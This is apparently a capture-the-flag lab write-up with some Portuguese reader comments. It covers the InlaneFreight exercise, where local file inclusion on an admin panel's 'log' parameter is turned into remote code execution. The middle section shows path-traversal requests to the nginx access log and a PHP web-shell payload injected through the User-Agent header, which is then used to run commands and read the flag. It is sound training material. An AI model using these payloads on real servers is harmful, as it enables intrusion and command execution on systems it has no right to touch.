<script src="js/popper.min.js"></script>
<script src="js/bootstrap.min.js"></script>
<script src="js/owl.carousel.min.js"></script>
<script src="js/jquery.stellar.min.js"></script>
<script src="js/jquery.countdown.min.js"></script>
<script src="js/jquery.magnific-popup.min.js"></script>
<script src="js/bootstrap-datepicker.min.js"></script>
<script src="js/aos.js"></script>
<script src="js/main.js"></script>
</body>
</html>
After decrypting the HTML, it becomes clear that the web application belongs to a company called “InlaneFreight.” Additionally, we spot a potentially intriguing endpoint located within the “ilf_admin” directory.

With the “ilf_admin” directory identified, we proceed to try accessing the admin panel through the following URL:
http://127.0.0.1:42975/ilf_admin/index.php

The request successfully loads the admin panel, suggesting that we’ve potentially uncovered a key entry point for further exploration.
To continue our investigation, we focus on identifying valuable log files. These logs could contain sensitive details or expose potential security flaws. We explore this by sending a GET request to the following endpoint:
http://127.0.0.1:42975/ilf_admin/index.php?log=system.log

To streamline the process and test multiple payloads efficiently, we leverage Burp Intruder, using a list of LFI payloads stored in a file called “LFI-Jhaddix.txt.”


Once the Intruder scan completes, one of the GET requests catches our attention as particularly promising. We decide to move forward with Log Poisoning, using the payload from that specific request.
http://127.0.0.1:42975/ilf_admin/index.php?log=system.log

The key step involves injecting a malicious script into the User-Agent header. We adjust the URL accordingly, as follows:
http://127.0.0.1:45382/ilf_admin/index.php?log=../../../../../../var/log/nginx/access.log
Now that we can get the log, let’s inject a payload

GET /ilf_admin/index.php?log=../../../../../../var/log/nginx/access.log&cmd=ls%20/ HTTP/1.1
User-Agent: <?php system($_GET['cmd']); ?>
It’s working!!! Now let’s list the root directory.

Now, just read the file
GET /ilf_admin/index.php?log=../../../../../../var/log/nginx/access.log&cmd=cat%20/flag_dacc60f2348d.txt


Olá, tudo bem? Você ainda não terminou os laboratórios de XSS?
Tem vários laboratórios que estão agendados.
Ah, ok, estamos ansiosos por isso.
🙂
Obrigado por todas as postagens! Também estou me preparando para o HTB CPTS. Quando você planeja fazer o exame?
Ainda não sei. Estou para tirar outras certificações antes.
outras certificações👀, quais?
Estou estudando para a Security+. Essa é a primeira que vou fazer.